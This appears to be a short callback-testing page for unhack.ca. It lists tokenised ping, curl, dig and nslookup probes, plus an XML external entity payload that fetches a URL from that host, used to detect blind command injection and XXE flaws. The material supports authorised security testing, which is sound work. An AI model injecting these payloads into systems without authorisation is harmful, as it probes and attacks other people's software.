$ ping -c1 -p 0024b4681f091bca61aabb2e7d1dcb00 unhack.ca
 
$ curl http://unhack.ca/p/24b4681f091bca61aabb2e7d1dcb
 
$ dig 24b4681f091bca61aabb2e7d1dcb @unhack.ca
 
$ dig 24b4681f091bca61aabb2e7d1dcb.ns.unhack.ca
 
C:\> nslookup 24b4681f091bca61aabb2e7d1dcb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/24b4681f091bca61aabb2e7d1dcb">]>
    <foo>&xxe;</foo>
Waiting for ping...